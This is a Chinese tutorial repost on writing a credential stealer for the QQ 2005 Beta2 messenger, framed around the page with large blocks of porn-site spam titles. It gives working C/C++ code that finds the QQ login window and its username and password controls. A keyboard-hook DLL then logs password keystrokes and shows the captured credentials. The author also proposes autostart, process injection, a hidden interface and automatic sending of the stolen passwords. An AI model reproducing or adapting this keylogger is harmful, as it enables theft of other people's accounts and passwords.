亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

編程實現盜2005 Beta2版QQ

2019-11-17 05:01:41
字體:
來源:轉載
供稿:網友
一、思路分析 (一) 數據包的角度 (二) 鉤子角度 1. 鉤子簡介 2. 程序流程 ;二、 實現過程 
  (一) 定義宏 
  (二) 枚舉進程找到QQ.exe 
  (三) 枚舉所有窗口,找屬于QQ.exe的窗口 
  (四) 獲取用戶名、密碼、登陸按鈕的句柄 
  (五) 創建鉤子用的DLL 
  (六) 安裝鉤子
  一直以來我對盜QQ這種技術都比較的好奇,最近為了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下:
 編程實現盜2005 Beta2版QQ
  本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程?! ?STRONG>一、 思路分析
  一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鉤子技術。  (一) 數據包的角度
  從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然后把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什么研究,所以沒有采用這個思路,以后有機會倒是可以試試?! ?二) 鉤子角度
  平時寫盜密碼程序用的最多的應該就是鉤子技術了,因為操作系統提供的API可以讓我們很輕松的安裝和卸載鉤子,從而輕易得到我們想要的東西。1. 鉤子簡介
  鉤子是一個很形象的詞,它就像一個“鉤”,通過它就可以把操作系統里的消息給鉤下來,經過我們處理后再發送出去。具體如下圖:編程實現盜2005 Beta2版QQ

  2. 程序流程
  Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:
 編程實現盜2005 Beta2版QQ
   從圖中可以大概知道,QQ登陸窗口左上角的文字并不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:編程實現盜2005 Beta2版QQ
編程實現盜2005 Beta2版QQ  編程實現盜2005 Beta2版QQ  二、 實現過程
  有了上面這個流程圖后,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下為我的程序的要害代碼:
  (一) 定義宏
  //QQ登陸框正常情況下的風格
  #define QQLoginDlgNormalStyle  0x94CA00C4
  //QQ登陸框最小化時的風格
  #define QQLoginDlgMiniStyle  0xB4CA00C4
  //用戶名下拉控件的ID
  #define QQLoginUserNameId  0x0000008A
  //密碼控件文本框的ID
  #define QQLoginPassWordId  0x000000B4
  //登陸按扭的ID
  #define QQLoginButtonId         0x00003EA0  (二) 枚舉進程找到QQ.exe

  //定義PROCESSENTRY32結構
   PROCESSENTRY32 pe;
   pe.dwSize = sizeof(pe); 
   HANDLE hProcessSnap;
   //所有進程快照
   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   if(hProcessSnap == INVALID_HANDLE_VALUE)
   {
      printf("進程快照失敗!/n");
      return -1;
   }
   BOOL bRet;
   //遍歷進程快照,輪流顯示每個進程的信息
   bRet = Process32First(hProcessSnap,&pe);
   while(bRet)
   {
      //pe.szExeFile保存的值為進程對應的可執行文件名
      if(strcmp(pe.szExeFile,"QQ.exe") ==0) 
    { 
      //這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。
     BOOL bRet;
     //枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProc
     bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
     if(bRet == FALSE)
     {
      printf("枚舉所有窗口失敗!/n");
      return -1;
     }
  }
  }  
  這里要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include <tlhelp32.h>?! ?STRONG>(三) 枚舉所有窗口,找屬于QQ.exe的窗口
  BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == NULL)
   {
    return FALSE;
   }
   //QQ.exe的ID
   DWORD dwQQProcessID;
   dwQQProcessID = (DWORD)lParam;
   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
   //假如創建QQ.exe的進程等于創建窗口的進程 
   if(dwQQProcessID == dwCreateWindowProcessID)
   {
    LONG lWindowStyle;
    //找到窗口的風格
    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
    //假如條件成立,表示當前窗口為登陸窗口
    if(lWindowStyle == QQLoginDlgNormalStyle
     lWindowStyle == QQLoginDlgMiniStyle)
    { 
     //保存登陸窗口的句柄
     hLoginWindow = hwnd;  
    } 
   } 
   return TRUE;
  }
  該回調函數執行完后,就得到QQ登陸窗口的句柄。保存在hLoginWindow中?! ?STRONG>(四) 獲取用戶名、密碼、登陸按鈕的句柄
  BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == FALSE)
   {
    return FALSE;
   }
   LONG  lID;
   //取得所有子窗口的ID
   lID = GetWindowLong(hwnd, GWL_ID);
   //該句表示找到用戶名的句柄
   if(lID == QQLoginUserNameId)
   {  
    hUserName = hwnd; 
   }
   else if(lID == QQLoginPasswordId)

   {
    hUserPwd = hwnd;
   }
   else if(lID == QQLoginButtonId)
   {
    hLoginButton = hwnd; 
   }
   return TRUE;
  }  注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!  //用戶名、密碼、登陸按鈕的句柄
  HWND hUserName;
  HWND hUserPwd;
  HWND hLoginButton;  (五) 創建鉤子用的DLL
  1. 申明函數
  新建一個Win32 Dynamic-Link Library項目,命名為:QQHook。選擇空DLL選項,然后在QQHook.h中申明函數:
  #define QQHookLIB_API __declspec(dlleXPort)
  //聲明要導出的函數
  //安裝鍵盤鉤子函數         
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID);  2. 申明共享數據段以及導出函數
  選“新建文件Text File”,文件名稱處輸入QQHook.def,然后添加如下代碼:
  EXPORTS   SetKeyBoardHook
  SECTIONS
   QQSpyShare Read Write Shared
  這樣SetKeyBoardHook函數即為導出函數了,可以在別的項目中被調用?! ?. DLL主要代碼
  接下來在QQHook.cpp文件中添加如下代碼:  //共享數據段,注重要初始化
  #pragma data_seg("QQSpyShare")
  HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
  HHOOK g_hMessageHook = NULL;  //消息鉤子句柄
  HHOOK g_hKeyBoardHook = NULL;  //鍵盤鉤子句柄
  HWND hQQLoginUserName = NULL;
  HWND hQQLoginUserPwd = NULL;
  HWND hQQLoginButton = NULL;
  #pragma data_seg()  //安裝鍵盤鉤子函數          
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID)
  {
   BOOL bResult;   if(bInstall)
   { 
    //保存用戶名的句柄

    hQQLoginUserName = hUserName;
    //保存密碼的句柄
    hQQLoginUserPwd = hUserPwd; 
    //保存登陸QQ按鈕的句柄
    hQQLoginButton = hLoginButton;
    //保存登陸窗口的句柄
    g_hLoginWindowWnd = hLoginWindow;
    //登陸窗口的主線程,安裝鉤子的時候要用
    DWORD dwCreateLoginWindowThreadId;
    dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
    //在登陸窗口主線程上安裝鉤子
    g_hKeyBoardHook = SetWindowsHookEx(
     WH_KEYBOARD,     //安裝鍵盤鉤子
     (HOOKPROC)KeyBoardProc,   //鍵盤鉤子回調函數
     hDll,        //QQHook.dll模塊句柄
     dwCreateLoginWindowThreadId);   //登陸窗口的主線程    if(g_hKeyBoardHook == NULL)
    {
     printf("鍵盤鉤子安裝失敗!");
     return FALSE;
    }
    else
    {
     printf("鍵盤鉤子安裝成功了!");
     return TRUE;
    }
  
   }
   else
   {
    //卸載鉤子
    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
    if(bResult == TRUE)
    {
     printf("鍵盤鉤子卸載成功!");
     return TRUE;
    }
    else
    {
     printf("鍵盤鉤子卸載失敗!");
     return FALSE;
    }
   }
   return TRUE;
  }  以上代碼的作用是在登陸窗口的主線程上安裝鉤子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數里的代碼。只要我們在鍵盤鉤子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下為鍵盤鉤子回調函數代碼:  //鍵盤鉤子回調函數
  LRESULT CALLBACK KeyBoardProc(int ncode,
          WPARAM wParam,
          LPARAM lParam
          )
  {
   //創建一個緩沖區保存連起來的密碼
   static char buf[250] = {0};
   //用于保存用戶名框的內容
   char cUserName[10];
   ZeroMemory(cUserName, 10);
   //用于保存用戶在密碼框上的每一個按鍵
   char cUserPwd[30];
   //假如按的鍵是回車鍵
   if (wParam == VK_RETURN && lParam > 0)
   {
    //得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得
    SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
   }   //假如不是按回車,并且是在密碼框中輸入
   if (lParam > 0 && wParam != VK_RETURN &&
    //當前輸入框為密碼框

    hQQLoginUserPwd == GetFocus())
   {
    //記下密碼框中輸入的字符
    GetKeyNameText(lParam, cUserPwd, 30);    //以下代碼把每一次按的鍵連起來形成一個完整的密碼
    static int index = 0;
    if(index == 0)
    {
     if(strcmp(cUserPwd,"Num 1") == 0)
     {
      strcpy(buf,"1");
     }
     else if(strcmp(cUserPwd,"Num 2") == 0)
     {
      strcpy(buf,"2");   
     }
     else if(strcmp(cUserPwd,"Num 3") == 0)
     {
      strcpy(buf,"3");   
     }
     else if(strcmp(cUserPwd,"Num 4") == 0)
     {
      strcpy(buf,"4");   
     }
     else if(strcmp(cUserPwd,"Num 5") == 0)
     {
      strcpy(buf,"5");   
     }
     else if(strcmp(cUserPwd,"Num 6") == 0)
     {
      strcpy(buf,"6");   
     }
     else if(strcmp(cUserPwd,"Num 7") == 0)
     {
      strcpy(buf,"7");   
     }
     else if(strcmp(cUserPwd,"Num 8") == 0)
     {
      strcpy(buf,"8");   
     }
     else if(strcmp(cUserPwd,"Num 9") == 0)
     {
      strcpy(buf,"9");   
     }
     else if(strcmp(cUserPwd,"Num 0") == 0)
     {
      strcpy(buf,"0");   
     }
     else
     {
      strcpy(buf,cUserPwd);
     }
    }
    else
    {
     if(strcmp(cUserPwd,"Num 1") == 0)
     {
      strcat(buf,"1");
     }
     else if(strcmp(cUserPwd,"Num 2") == 0)
     {
      strcat(buf,"2");   
     }
     else if(strcmp(cUserPwd,"Num 3") == 0)
     {
      strcat(buf,"3");   
     }
     else if(strcmp(cUserPwd,"Num 4") == 0)
     {
      strcat(buf,"4");   
     }
     else if(strcmp(cUserPwd,"Num 5") == 0)
     {
      strcat(buf,"5");   

     }
     else if(strcmp(cUserPwd,"Num 6") == 0)
     {
      strcat(buf,"6");   
     }
     else if(strcmp(cUserPwd,"Num 7") == 0)
     {
      strcat(buf,"7");   
     }
     else if(strcmp(cUserPwd,"Num 8") == 0)
     {
      strcat(buf,"8");   
     }
     else if(strcmp(cUserPwd,"Num 9") == 0)
     {
      strcat(buf,"9");   
     }
     else if(strcmp(cUserPwd,"Num 0") == 0)
     {
      strcat(buf,"0");   
     }
     else
     {
      strcat(buf,cUserPwd);
     }
    }
    ++index;
   }   //假如按的是回車,將上面得到的用戶名和密碼連在一起顯示
   if (wParam == VK_RETURN && lParam > 0)
   {
    char cAccount;
    strcpy(&cAccount,"用戶名:");
    strcat(&cAccount,cUserName);
    strcat(&cAccount,"/n密  碼:");
    strcat(&cAccount,buf);
    strcat(&cAccount,"/nBy:∮明天去要飯");
    //cAccount中保存了用戶名和密碼,想怎么處理就怎么處理
    MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);
    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
   }
   return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
  }  這里需要注重以下幾個問題:
  1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行?! ?. 定義的變量index之所以要定義成static,是因為index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼?! ?. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理?! ?. 從這個回調函數可以知道,假如用戶在輸密碼的時候后退了,或是刪除了密碼再繼續輸入,那么記錄下來的內容將是不準確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了?! ?六) 申明導出函數  (七) 安裝鉤子
  上面只是提供了一個安裝鉤子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鉤子。
     //用戶名、密碼、登陸按鈕的句柄都不為空時安裝鉤子
     if(hUserName != NULL &&
      hUserPwd != NULL &&
      hLoginButton != NULL)
     {
      //得到DLL模塊的句柄
      hDll = GetModuleHandle("QQHook.dll");
      if(hDll == NULL)
      {

       return FALSE;
      }
      //安裝鍵盤鉤子
      bKeyBoardHook = SetKeyBoardHook(
       TRUE,
       hDll,
       hLoginWindow,
       hUserName,
       hUserPwd,
       hLoginButton,
       dwCreateWindowProcessID);    
      if(bKeyBoardHook == FALSE)
      {
       printf("調用鍵盤鉤子失敗!");
       return FALSE;
      }
     }  以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然后運行主程序QQSpy.exe,接下來輸用戶名和密碼并回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:
  1. 改進記錄密碼的代碼。
  2. 加入對鼠標點擊“登錄QQ”進行HOOK的代碼。
  3. 設置成自動啟動。
  4. 注入到別的進程中。
  5. 運行的時候沒有界面,記錄下來后自動發送密碼。  由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
一本色道久久88综合日韩精品| 国产美女直播视频一区| 97香蕉久久夜色精品国产| 国产成人久久久| 久久夜色精品国产欧美乱| 日韩中文字幕久久| 国产精品久久久久一区二区| 美女国内精品自产拍在线播放| 国产91ⅴ在线精品免费观看| 亚洲欧美中文另类| 久久综合伊人77777蜜臀| 国产精品无码专区在线观看| 成人黄色av播放免费| 日韩免费av片在线观看| 久久久久免费精品国产| xxav国产精品美女主播| 91精品久久久久久久久中文字幕| 日韩中文在线中文网在线观看| 亚洲日本aⅴ片在线观看香蕉| 欧美精品激情视频| 91精品在线播放| 亚洲美女视频网| 午夜美女久久久久爽久久| 国产精品电影网站| 91精品国产精品| 国产日韩在线观看av| 91精品视频网站| 国产成人精品视| 日韩精品欧美国产精品忘忧草| 亚洲国语精品自产拍在线观看| 2021久久精品国产99国产精品| 亚洲激情小视频| 成人a视频在线观看| 欧美日韩国产中文精品字幕自在自线| 国内揄拍国内精品| 欧美日韩中文字幕在线视频| 97色在线视频观看| 亚洲精品黄网在线观看| 亚洲视频一区二区三区| 4438全国亚洲精品在线观看视频| 精品精品国产国产自在线| 欧洲日本亚洲国产区| 亚洲色图偷窥自拍| 亚洲欧美三级伦理| 国产精品三级美女白浆呻吟| 成人av色在线观看| www欧美日韩| 2019中文字幕在线免费观看| 欧美电影《睫毛膏》| 精品欧美激情精品一区| 日韩中文字幕在线免费观看| 久久国产精品久久国产精品| 91精品国产高清久久久久久久久| 欧美日韩中国免费专区在线看| 欧美亚洲激情在线| 日韩电影中文字幕在线| 日韩欧美综合在线视频| 欧美日韩国产精品一区| 欧美国产第一页| 久久五月天综合| 午夜精品99久久免费| 一区二区三区视频免费在线观看| 亚洲成人a**站| 欧美性视频网站| 国产精品自产拍在线观看| 国产成人拍精品视频午夜网站| 欧美另类在线观看| 国产精品免费网站| 66m—66摸成人免费视频| 91网站免费看| 国产国语videosex另类| 欧美老女人www| 亚洲美女视频网站| 中文字幕免费精品一区高清| 久久精品久久久久| 亚洲欧洲国产伦综合| 欧美—级a级欧美特级ar全黄| 国产精品美女无圣光视频| 欧美日韩成人网| 红桃视频成人在线观看| 国产精品99久久久久久www| 91牛牛免费视频| 欧美性开放视频| 国产精品日韩欧美综合| 欧美成人精品一区二区三区| 亚洲www永久成人夜色| 亚洲综合一区二区不卡| 欧洲美女免费图片一区| 日韩电影中文字幕一区| 91在线高清免费观看| 国产成人精品最新| 成人性生交xxxxx网站| 亚洲视频在线视频| 欧美中文字幕在线观看| 日本成人激情视频| 日韩专区在线观看| 国产成人精品一区二区| 成人性生交大片免费看小说| 国产欧美va欧美va香蕉在线| 国产精品一区二区三区成人| 69av在线播放| 亚洲国产古装精品网站| 久久久精品亚洲| 91高清视频在线免费观看| 97超级碰在线看视频免费在线看| 久久久久久有精品国产| 国产亚洲精品美女久久久久| 欧美专区在线视频| 国产日韩在线观看av| 综合av色偷偷网| 国产精品丝袜久久久久久高清| 欧美电影《睫毛膏》| 中文字幕综合一区| 国产精品亚洲一区二区三区| 欧美性受xxxx黑人猛交| 热re91久久精品国99热蜜臀| 亚洲另类激情图| 国产欧美日韩专区发布| 九色成人免费视频| 国产美女扒开尿口久久久| www.久久久久久.com| 亚洲精品久久久久久久久| 伊人久久大香线蕉av一区二区| 亚洲精品美女网站| 国产成人精品久久二区二区91| 国产激情视频一区| 欧美激情一区二区三区在线视频观看| 91精品国产综合久久香蕉最新版| 亚洲一区美女视频在线观看免费| 亚洲黄在线观看| 成人乱人伦精品视频在线观看| 国产999精品视频| yw.139尤物在线精品视频| 国产欧美欧洲在线观看| 久久九九热免费视频| 久久韩国免费视频| 日韩视频亚洲视频| 精品国产成人av| 欧美第一黄网免费网站| 亚洲欧美一区二区精品久久久| 国产福利成人在线| 51精品国产黑色丝袜高跟鞋| 国产精品第10页| 日韩国产中文字幕| 91精品久久久久久久久久久久久| 国内精品一区二区三区四区| 国产精品爽爽爽爽爽爽在线观看| 91黑丝在线观看| 日韩久久免费视频| 亚洲成人久久网| 亚洲激情电影中文字幕| 亚洲国产精品久久久久| 按摩亚洲人久久| 中文字幕一区电影| 国产精品扒开腿做爽爽爽的视频| 最近更新的2019中文字幕| 日韩成人在线视频网站| 欧美亚洲激情在线| 69av在线播放| 国产亚洲在线播放| 国产一区二区三区毛片| 欧美大尺度在线观看| 久久这里有精品视频| 国产成人精品久久二区二区91|